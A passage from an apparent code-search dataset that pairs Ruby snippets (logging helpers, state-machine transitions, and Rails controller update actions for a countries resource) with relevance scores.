#{transition.event} event. Passing rules: #{passing_rules.map(&:name).join(', ')}.\"\n add_back_disabled_teams\n end", "title": "" }, { "docid": "10617c8f44ad5310e78919ac51740411", "score": "0.5515189", "text": "def show_log?\n @runopts[:show_log] ||= false\n end", "title": "" }, { "docid": "ef1f0d72b292527176c4520d7f224b6d", "score": "0.5495101", "text": "def transition?\n not @transition.nil? || @transition.finished?\n end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "524c425ed0e016f7a364f3246e314e7f", "score": "0.5466962", "text": "def log; end", "title": "" }, { "docid": "0b3162cf3b923f3dac26fc526f86df70", "score": "0.5456972", "text": "def recording_events?\n false\n end", "title": "" }, { "docid": "da90c5470e91820b6b4dccf3da71ae69", "score": "0.543705", "text": "def recording?\n @decision != Decision::DROP\n end", "title": "" }, { "docid": "ea165974a0962acd68baa462849bb021", "score": "0.5424033", "text": "def tracing?\n\n\t\tseverity_logged? :trace\n\tend", "title": "" }, { "docid": "595fc1cdb2d93adb3f4aeaaea6fb4e5b", "score": "0.5423695", "text": "def perform_initial_transition?\n !current_state\n end", "title": "" }, { "docid": "08effef604eae2957cd1bdf2d56cd79c", "score": "0.5403652", "text": "def trace? ; (lgr = logger).respond_to?(:trace?) && lgr.trace? end", "title": "" }, { "docid": "8455755756f6bb39bb2196e6e59d405b", "score": "0.53897256", "text": "def should_log?(log)\n super(log) && (log.metric_only? ? metrics? : true)\n end", "title": "" }, { "docid": "0be6decad83aa97faca9d8e5f3a3bc80", "score": "0.53879327", "text": "def past_step_2?\n !spectator? && status_is_active?(\"events\")\n end", "title": "" }, { "docid": "52f387c542944c032498da71c4f9c90a", "score": "0.5383699", "text": "def logging_enabled?\n !!logging_enabled\n end", "title": "" }, { "docid": "9e013cb14039fbf593d890b48fb793d8", "score": "0.537551", "text": "def attribute_transitioned?(attr, options={})\n options = _type_cast_transition_options(attr, options)\n !!previous_changes.include?(attr) &&\n (!options.include?(:to) || options[:to] == previous_changes[attr].last) &&\n (!options.include?(:from) || options[:from] == previous_changes[attr].first)\n end", "title": "" }, { "docid": "899057f0345c5b1d12b12ab592b383f2", "score": "0.5374705", "text": "def log()\n return @log unless @log.nil?\n @flow.log()\n end", "title": "" }, { "docid": "2ba84f7c69fc7bff5d309d7ac884414c", "score": "0.53723335", "text": "def isInTransition()\n\t\t\treturn @_state == nil\n\t\tend", "title": "" }, { "docid": "ff501cfcdb39dd534be26e18b1c756fa", "score": "0.53660613", "text": "def transition\n new_state = fetch_sensor_state\n return if new_state == @state\n puts \"Transitioned from #{@state} to #{new_state}\"\n if valid_transition?(new_state)\n @state = new_state\n # Do nothing\n else\n puts \"Invalid transition!\"\n @beam_broken = 0\n # TODO: toss up the correct error light\n end\n end", "title": "" }, { "docid": "016f8b9cdb9f6bfa873e54b7116755ee", "score": "0.53361225", "text": "def log\n end", "title": "" }, { "docid": "facb589c261ea5ce68c4f8dc31f2d2cf", "score": "0.53066206", "text": "def transition_time\n end", "title": "" }, { "docid": "d65a28acc0a82e5f1b7fb81052066be9", "score": "0.53045774", "text": "def log(msg, flag = false)\r\n puts msg if flag\r\nend", "title": "" }, { "docid": "8d9e5007930a8930db3a4f3469849e23", "score": "0.5304052", "text": "def logged?;\n false\n end", "title": "" }, { "docid": "f1e6fe4fdd7c2c6a848a6ac465d3c6b1", "score": "0.52888674", "text": "def handle_session_logging(val)\n\t\tif (val =~ /^(y|t|1)/i)\n\t\t\tMsf::Logging.enable_session_logging(true)\n\t\t\tprint_line(\"Session logging will be enabled for future sessions.\")\n\t\telse\n\t\t\tMsf::Logging.enable_session_logging(false)\n\t\t\tprint_line(\"Session logging will be disabled for future sessions.\")\n\t\tend\n\tend", "title": "" }, { "docid": "e40793db864b5c033a995e56f4d94d39", "score": "0.5285787", "text": "def debug_logging\n log.level == Logger::DEBUG\n end", "title": "" }, { "docid": "75f714468abd0c0c28bdedc9eac51c43", "score": "0.5262091", "text": "def autoflush_log; end", "title": "" }, { "docid": "75f714468abd0c0c28bdedc9eac51c43", "score": "0.5262091", "text": "def autoflush_log; end", "title": "" }, { "docid": "a68899be88bd588ef4a5a4bae146079c", "score": "0.52570206", "text": "def log=(log); end", "title": "" }, { "docid": "4a7c9864b4f194fb7c65c825195e6ada", "score": "0.5256994", "text": "def transitions; end", "title": "" }, { "docid": "cc70ba87e4e289ebc2f0a9e979c65d7c", "score": "0.5251404", "text": "def log_transition(from, to, event, data, opts)\n update_statistics(data) if events.empty? # if this is the first event, update the global statistics\n\n self.events << Analytics::Event.create({\n :from=>from.to_s, :to=>to.to_s,\n :url=>data[:url],\n :referer=>data[:referer],\n :user_agent=>data[:user_agent],\n :name=>event.to_s\n })\n self.save\n end", "title": "" }, { "docid": "310c35413a0328986658f2c0ca2bdf7c", "score": "0.5249566", "text": "def store_audit_trail(options = {})\n state_machine = self\n state_machine.transition_class_name = (options[:to] || default_transition_class_name).to_s\n state_machine.after_transition do |object, transition|\n state_machine.audit_trail(options[:context_to_log]).log(object, transition.event, transition.from, transition.to)\n end\n\n unless state_machine.action == nil\n state_machine.owner_class.after_create do |object|\n if !object.send(state_machine.attribute).nil?\n state_machine.audit_trail(options[:context_to_log]).log(object, nil, nil, object.send(state_machine.attribute))\n end\n end\n end\n end", "title": "" }, { "docid": "fecf9a0bd3e139df271c14fa37c98a03", "score": "0.5246863", "text": "def set_log_state(opts)\n opts = check_params(opts,[:states])\n super(opts)\n end", "title": "" }, { "docid": "40d4efe8a2c9f885029ffe63562c90b8", "score": "0.5222727", "text": "def verbose_logging; end", "title": "" }, { "docid": "74a695cf83b1bba5c0da7bf0beaa432d", "score": "0.5213439", "text": "def logging_prefs; end", "title": "" }, { "docid": "9650f46c7d66da37b7164ccb679676ed", "score": "0.52131283", "text": "def off?\n @level >= ::Logging::LEVELS.length\n end", "title": "" }, { "docid": "b5ca6e0de2ae0ab7e6caa1d7d38f413b", "score": "0.51893824", "text": "def state_added! statemachine\n transitions_changed!\n end", "title": "" }, { "docid": "7cf8f62f2eda8b72127c7c6680523003", "score": "0.51874226", "text": "def info?; @logger.info? end", "title": "" }, { "docid": "656d4272c2d0cbee176a1cd78f09b389", "score": "0.5185032", "text": "def audit?\n false\n end", "title": "" }, { "docid": "5a69ea45d574231cb508fda3cd536f12", "score": "0.5172082", "text": "def should_log?(log)\n # Does not support metrics with dimensions.\n log.metric && !log.dimensions && meets_log_level?(log) && !filtered?(log)\n end", "title": "" }, { "docid": "5c61189eb91a0b18cfde46f9d6a9fcbf", "score": "0.5170396", "text": "def logging\n @@logging ||= lambda { |msg| puts(\"#{Time.now} :minion: #{msg}\") }\n end", "title": "" }, { "docid": "55352e7429e046bfd6b76836bce7ba5f", "score": "0.5152831", "text": "def aligned?\n task.log_replay.aligned?\n end", "title": "" }, { "docid": "55352e7429e046bfd6b76836bce7ba5f", "score": "0.5152831", "text": "def aligned?\n task.log_replay.aligned?\n end", "title": "" }, { "docid": "55c67cb9ddc7b7f4b7e145420adfea6d", "score": "0.5141414", "text": "def write_activity_log(action = :update)\n set_culprit\n set_referenced\n if (self.respond_to?(:created_at) && Time.now > self.delay_after_create.since(self.created_at)) || action == :create\n r = self.activity_logs.create :action => action.to_s, \n :referenced => @referenced,\n :culprit => @culprit unless @skip_log == true\n end\n @skip_log = false\n return true\n end", "title": "" }, { "docid": "2e3667c10e300eb9a1f078b9ea126698", "score": "0.51149327", "text": "def audit_state\n \n return SELF_AUDIT unless self.designer_complete?\n return PEER_AUDIT unless self.auditor_complete?\n return AUDIT_COMPLETE\n\n end", "title": "" }, { "docid": "e9ef224f5725c68ed6395159794d0596", "score": "0.50936645", "text": "def revisit_next_step?\n false\n end", "title": "" }, { "docid": "1ce647fcbdf3bdea18c223484d5ce819", "score": "0.5091084", "text": "def visited?(nav_step)\n model.onboarder_progress.keys.include?(nav_step.to_s)\n end", "title": "" }, { "docid": "7d3df840a82a3492f45eb9f86ecfbab7", "score": "0.5090239", "text": "def in_transit?\n status.sent?\n end", "title": "" }, { "docid": "8120471ae4666e9ff17ef5a406856a03", "score": "0.5088122", "text": "def audit\n @audit || false\n end", "title": "" }, { "docid": "1858be35de3e5ffad6805ba368594f4a", "score": "0.50875425", "text": "def final?\n @transitions.empty?\n end", "title": "" }, { "docid": "16b8fb39e1c4436c4d08be4de17cf649", "score": "0.5080476", "text": "def last_phase?\n @finishing\n end", "title": "" }, { "docid": "6fd316d9948b7724dc727c5285b86c93", "score": "0.50757396", "text": "def log_versus_and\n \"blue\"\n end", "title": "" }, { "docid": "8f3e0e84a8f9b22400d7f5118e405685", "score": "0.5069282", "text": "def update_transition?\r\n # Abort loop if transition processing\r\n if $game_temp.transition_processing\r\n return true\r\n end\r\n return false\r\n end", "title": "" }, { "docid": "ed9418ab688adcddd7cc0522f39ea434", "score": "0.50633633", "text": "def log(log)\n raise NotImplementedError\n end", "title": "" }, { "docid": "c2db08273371e854a899239971ee341f", "score": "0.50584877", "text": "def is_replaying?\n decision_context.workflow_clock.replaying\n end", "title": "" }, { "docid": "c2db08273371e854a899239971ee341f", "score": "0.50584877", "text": "def is_replaying?\n decision_context.workflow_clock.replaying\n end", "title": "" }, { "docid": "b7ed943cc941183eed19389be03119f3", "score": "0.50508225", "text": "def log_transition(from, to, event, data, opts)\n self.events << Analytics::Event.create({\n :from=>from.to_s, :to=>to.to_s,\n :url=>data[:url],\n :referer=>data[:referer],\n :user_agent=>data[:user_agent],\n :name=>event.to_s\n })\n self.save\n end", "title": "" }, { "docid": "2ccb492dbcfb77061c2bb480bf33e4c1", "score": "0.50492615", "text": "def log_level; end", "title": "" }, { "docid": "2ccb492dbcfb77061c2bb480bf33e4c1", "score": "0.50492615", "text": "def log_level; end", "title": "" }, { "docid": "2b1ba1291ed9e7aeea178dcf2ab0c293", "score": "0.5045786", "text": "def uses_activity_logs?\n\t\t!activity_log_student_time_categories.blank? || !activity_log_non_student_time_categories.blank?\n\tend", "title": "" }, { "docid": "ef2229182e15e6542d0e3366297af5f2", "score": "0.50421184", "text": "def log_denials\n @log_denials = true\n end", "title": "" }, { "docid": "762786db9939de61a5fcbdd2d2d8a7aa", "score": "0.50317633", "text": "def log_changes(action)\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n case action\n when :save\n if saved_change_to_attribute?(:created_at)\n logger.info \"Created redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n when :destroy\n logger.info \"Removed redundant-type assignment between #{entity.log_identifier} and #{role.log_identifier}.\"\n end\n end\n end", "title": "" }, { "docid": "b721ca5e7b9b000ae54d69603f7424f9", "score": "0.5024713", "text": "def touch_when_logging\n touch\n end", "title": "" }, { "docid": "33187ebfa5d622054f428b375db8a839", "score": "0.50236374", "text": "def log\n advanced[:log]\n end", "title": "" }, { "docid": "e47e658e1ce3b4a371b8ad1caf93ab09", "score": "0.5018632", "text": "def can_fire?(record)\n transitions.any? {|transition| transition.can_perform?(record)}\n end", "title": "" }, { "docid": "d0bba260db9bda2b5bf0662e42378102", "score": "0.5017473", "text": "def method_missing(m, *args, &block)\n if @replay_log\n @replay_log.send(m, *args, &block)\n end\n @normal_log.send(m, *args, &block)\n end", "title": "" }, { "docid": "eec5abe3e2a8d7733c2d8b2e23114d44", "score": "0.5003683", "text": "def log(line)\n puts line unless RUBYMOTION_ENV == \"test\"\n end", "title": "" }, { "docid": "191895d940211af82e32702eaaedb94a", "score": "0.50006396", "text": "def debug?; @logger.debug? end", "title": "" }, { "docid": "c69764ee185e592b5d5355efddd0da58", "score": "0.4998677", "text": "def trace?\n !!@trace\n end", "title": "" }, { "docid": "1918ac8deb0c10743e3cb11ab6a25faa", "score": "0.4990661", "text": "def log(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"log \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "title": "" }, { "docid": "36e1c580faff40e377869b2b53ea7d1e", "score": "0.49871874", "text": "def no_action_log\n true\n end", "title": "" } ]
5ac81ff2af4cdbcf2ad66608c481e8b4
PATCH/PUT /countries/1 PATCH/PUT /countries/1.json
[ { "docid": "1c1bf387beb0e881261065992e651078", "score": "0.0", "text": "def update\n respond_to do |format|\n if @locality.update(locality_params)\n format.html { redirect_to localities_url, notice: 'Locality was successfully updated.' }\n format.json { render :show, status: :ok, location: @locality }\n else\n @localities = Locality.all.map{ |c| c = (c.id == @locality.id)? @locality:c}\n @locality = Locality.new\n format.html { render :index }\n format.json { render json: @locality.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "9dd6062eff5b476b1f53bda2ed160b05", "score": "0.6874166", "text": "def update\n respond_to do |format|\n if @countries.update(countries_params)\n format.html { redirect_to @countries, notice: 'Countries was successfully updated.' }\n format.json { render :show, status: :ok, location: @countries }\n else\n format.html { render :edit }\n format.json { render json: @countries.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8b58b3074f40d09efd555c89c9c012c", "score": "0.66719866", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.json { render json: @country, status: :ok }\n else\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "023ac7b2fd6a894c3b0612420bf2b8b7", "score": "0.6585821", "text": "def update\n @country.update(country_params)\n respond_with(@country)\n end", "title": "" }, { "docid": "c6c4814d6021ec50fb2fc9986859ba9f", "score": "0.6501479", "text": "def update\n @countries = Country.all\n @country = Country.find(params[:id])\n\n @country.update_attributes(country_params)\n end", "title": "" }, { "docid": "66afb71509866d91dd2e9b9fd98daa9c", "score": "0.6499813", "text": "def update\n if @country.update(country_params)\n render json: @country\n else\n render json: @country.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6f7ec60209305a5759aed010344ff7be", "score": "0.6453523", "text": "def update\n if @country.update(country_params)\n render json: @country\n # 'Country model was successfully updated.'\n else\n render json: @country.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "64fe5cac80a3b99031753da387f9d2d6", "score": "0.64473593", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "64fe5cac80a3b99031753da387f9d2d6", "score": "0.64473593", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9a666c7307e904aaf6aca6d91f83b93", "score": "0.63427716", "text": "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(countries_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d92e221ed1feef232c01ea3d80cacdc8", "score": "0.6338724", "text": "def update\r\n begin\r\n # todo-matteo: check what happens when the identity, effective_from and effective_to is not mapped out of the params\r\n country = Country.update_iteration!(params[:id],map_countries_params,map_scd_date)\r\n\r\n render :json => country\r\n rescue Exception => e\r\n render :json => {:error => e.message}, :status => :internal_server_error\r\n end\r\n end", "title": "" }, { "docid": "fe34f93da0751ad55cc5052cfdd2366c", "score": "0.6275409", "text": "def update\n render json: Person.update(params[\"id\"], params[\"person\"])\n end", "title": "" }, { "docid": "57457ec20b3a7185a6dc61dfbbdaedcf", "score": "0.62709045", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @country }\n else\n format.html { render :edit }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57457ec20b3a7185a6dc61dfbbdaedcf", "score": "0.62709045", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @country }\n else\n format.html { render :edit }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57457ec20b3a7185a6dc61dfbbdaedcf", "score": "0.62709045", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @country }\n else\n format.html { render :edit }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57457ec20b3a7185a6dc61dfbbdaedcf", "score": "0.62709045", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @country }\n else\n format.html { render :edit }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "57457ec20b3a7185a6dc61dfbbdaedcf", "score": "0.62709045", "text": "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @country }\n else\n format.html { render :edit }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6228263ce2f2d113c73dc500db06a1e0", "score": "0.6209906", "text": "def update!(**args)\n @countries = args[:countries] if args.key?(:countries)\n @kind = args[:kind] if args.key?(:kind)\n end", "title": "" }, { "docid": "3ccf2cc11c46d111e788fb5b6622b852", "score": "0.61985", "text": "def update\n if @country.update(country_params)\n render :show, status: :ok, location: @country\n else\n render json: @country.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "7a22e9be95bc274891f7dec716c8a047", "score": "0.6189985", "text": "def update\n country = Country.find params[:id]\n\n country.name = params[:name]\n country.flag = params[:flag]\n country.continent = params[:continent]\n country.area = params[:area]\n country.population = params[:population]\n country.gdp = params[:gdp]\n country.hdi = params[:hdi]\n country.save\n\n redirect_to country_path(country.id)\n end", "title": "" }, { "docid": "7ac4d726ddfce3697ff45daf0a63f391", "score": "0.61886656", "text": "def update\n respond_to do |format|\n if @choose_country.update(choose_country_params)\n format.html { redirect_to @choose_country, notice: 'Choose country was successfully updated.' }\n format.json { render :show, status: :ok, location: @choose_country }\n else\n format.html { render :edit }\n format.json { render json: @choose_country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "53ca573fa7a58817f072e1f48de8b8a3", "score": "0.618566", "text": "def update\n @breadcrumb = 'update'\n @country = Country.find(params[:id])\n @country.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to @country,\n notice: (crud_notice('updated', @country) + \"#{undo_link(@country)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aa235aa1e9ad1f0915e180ccdb043a0c", "score": "0.6182647", "text": "def update\n respond_to do |format|\n if @country_name.update(country_name_params)\n format.html { redirect_to @country_name, notice: 'Country name was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @country_name.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60993217f855d7f2e4d60d402632a9cf", "score": "0.61817807", "text": "def edit\n respond_with(@country)\n end", "title": "" }, { "docid": "dfe561fa30c260313aca2d3faa301128", "score": "0.61811143", "text": "def update\n @country_info = CountryInfo.find(params[:id])\n\n respond_to do |format|\n if @country_info.update_attributes(params[:country_info])\n format.html { redirect_to @country_info, notice: 'Country info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "749bdde6d5a63ba3fd17fc92eb3a0e99", "score": "0.6138621", "text": "def update\n respond_to do |format|\n if @countrylanguage.update(countrylanguage_params)\n format.json { head :no_content }\n else\n format.json { render json: @countrylanguage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3af1da5cec8aebf96cd3eccf2cbb07c4", "score": "0.6107308", "text": "def update\n @country_map = CountryMap.find(params[:id])\n\n respond_to do |format|\n if @country_map.update_attributes(params[:country_map])\n format.html { redirect_to @country_map, notice: 'Country map was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country_map.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8a8a10968af632767af1e8b727beb0b", "score": "0.6105173", "text": "def edit_country\n user = current_user\n if user.admin?\n country = (!params['id'].nil?) ? Country.find_by(id: params['id']) : nil\n if (!country.nil?)\n country.update_attributes({\n name: params['name'],\n geo_structure_level1_name: params['geo_structure_level1_name'],\n geo_structure_level2_name: params['geo_structure_level2_name'],\n geo_structure_level3_name: params['geo_structure_level3_name'],\n geo_structure_level4_name: params['geo_structure_level4_name']\n })\n render json: {status: 'SUCCESS', message:'Country updated', data:country},status: :ok\n else\n render json: {status: 'ERROR', message:'Country not found', data:nil},status: :not_found\n end\n elsif user.admin_country?\n country = (!params['id'].nil?) ? Country.find_by(id: params['id']) : nil\n if (!country.nil?)\n if(country['id'] == user['country_id'])\n country.update_attributes({\n name: params['name'],\n geo_structure_level1_name: params['geo_structure_level1_name'],\n geo_structure_level2_name: params['geo_structure_level2_name'],\n geo_structure_level3_name: params['geo_structure_level3_name'],\n geo_structure_level4_name: params['geo_structure_level4_name']\n })\n render json: {status: 'SUCCESS', message:'Country updated', data:country},status: :ok\n else\n render json: {status: 'ERROR', message:'Action not allowed', data:nil},status: :not_found\n end\n else\n render json: {status: 'ERROR', message:'Country not found', data:nil},status: :not_found\n end\n end\n end", "title": "" }, { "docid": "8e616ff9033b1b7b4c30c8fa573f04c5", "score": "0.61010456", "text": "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(@country, notice: 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: 'edit' }\n format.xml { render xml: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76a1f84d4b1c5575b904305a69e3ffb7", "score": "0.6080564", "text": "def update\n respond_to do |format|\n if @admin_country.update(admin_country_params)\n format.html { redirect_to @admin_country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_country }\n else\n format.html { render :edit }\n format.json { render json: @admin_country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f6df85b0788c6baeafcd89f55d1fe5a8", "score": "0.60737413", "text": "def update\n flash[:notice] = t('scaffold.notice.updated', :item => Country.model_name.human) if @country.update_attributes(params[:country])\n respond_with(@country, :location => countries_path)\n end", "title": "" }, { "docid": "4b8a6ca3d813c4799ab64fbf4b70bfb9", "score": "0.6072772", "text": "def update\n @country_update_form = CountryUpdateForm.new(\n {id: params[:id]}.\n merge(params[:country]).\n merge({\n external_linkings: params[:external_linkings]\n })\n )\n\n respond_to do |format|\n if @country_update_form.update\n format.html { redirect_to @country_update_form.country, notice: 'The country page was successfully updated.' }\n format.json { head :no_content }\n else\n set_country\n set_ancillary_collections\n format.html { render action: 'edit' }\n format.json { render json: @country_update_form.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bee3c78a333284e013515dbfcd48e6d", "score": "0.60623616", "text": "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bee3c78a333284e013515dbfcd48e6d", "score": "0.60623616", "text": "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bee3c78a333284e013515dbfcd48e6d", "score": "0.60623616", "text": "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "06273e29bc1fdc0315794d93c0fa1f03", "score": "0.60552764", "text": "def update\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b43b3ab54e4891ec1bbc874f364fa56", "score": "0.60501313", "text": "def update\n @country = Country.find(params[:id])\n params[:country][:systems_enabled] ||= []\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(admin_countries_url, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc135d4e69908dd12d4659fc2e89e9b4", "score": "0.60195345", "text": "def update\n @continents = [[\"Africa\",\"Africa\"],[\"America\",\"America\"],[\"Asia\",\"Asia\"],[\"Australia\",\"Australia\"],[\"Europe\",\"Europe\"]]\n\n respond_to do |format|\n if @country_master.update(country_master_params)\n format.html { redirect_to @country_master, notice: \"Country master was successfully updated.\" }\n format.json { render :show, status: :ok, location: @country_master }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @country_master.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6ae6b17460ba8c07daf1a237b1b63696", "score": "0.6018376", "text": "def update\n \n if @api_v1_person.update(api_v1_person_params) \n render json: @api_v1_person\n else\n render json: @api_v1_person.errors, status: 400\n end\n \n end", "title": "" }, { "docid": "7be46c03fe2d84c084e17bab3a41b5ec", "score": "0.6005784", "text": "def bo_update_country_textfield_from_region\n @region = Region.find(params[:id])\n @country = Country.find(@region.country)\n render json: @country\n end", "title": "" }, { "docid": "42e4d81ce0f91ce996dcbc347df2958d", "score": "0.5988551", "text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end", "title": "" }, { "docid": "38cce614113e81ea3930551f898f6626", "score": "0.5973568", "text": "def update\n respond_to do |format|\n if @m_country.update(m_country_params)\n format.html { redirect_to @m_country, notice: 'M country was successfully updated.' }\n format.json { render :show, status: :ok, location: @m_country }\n else\n format.html { render :edit }\n format.json { render json: @m_country.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "527335b6bf483ea2be07772a1d1a12f9", "score": "0.59172237", "text": "def update\n get_countries\n set_country_values(params[:user][:country])\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce6017b88573b48f3bc3f255921ca094", "score": "0.59051365", "text": "def test_undelete\n put :update, params: { alpha2: 'za' }, **{ format: 'json' }\n\n assert_response 200\n assert_equal(countries.first.name, 'South Africa', 'Not working.')\n assert_equal(countries.first.active, true, 'Not working.')\n end", "title": "" }, { "docid": "34a476be8a18f0298554e055398c6ef0", "score": "0.589642", "text": "def update\n @country_language = CountryLanguage.find(params[:id])\n\n if @country_language.update(country_language_params)\n head :no_content\n else\n render json: @country_language.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "533a932c6deda4a1b0297678bd7b43e1", "score": "0.5880685", "text": "def update\n @countries = Country.all(order: 'name')\n if !params[:ticket][:q_country_id].empty?\n @regions = Country.find(params[:ticket][:q_country_id]).regions\n else\n @regions = []\n end \n if !params[:ticket][:q_region_id].empty?\n @cities = Region.find(params[:ticket][:q_region_id]).cities\n else\n @cities = []\n end\n @ticket = Ticket.find(params[:id])\n @ticket.user = current_user\n @ticket.country = current_user.country\n @ticket.region = current_user.region\n @ticket.city = current_user.city\n @ticket.age = current_user.age\n @ticket.gender = current_user.gender\n @ticket.save\n @genders = ['male', 'female'] \n respond_to do |format|\n if @ticket.update_attributes(params[:ticket])\n format.html { redirect_to @ticket, notice: t(:ticket_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e89d1180fd0fece7fd839f0917fc6ef", "score": "0.586378", "text": "def update\n respond_to do |format|\n if 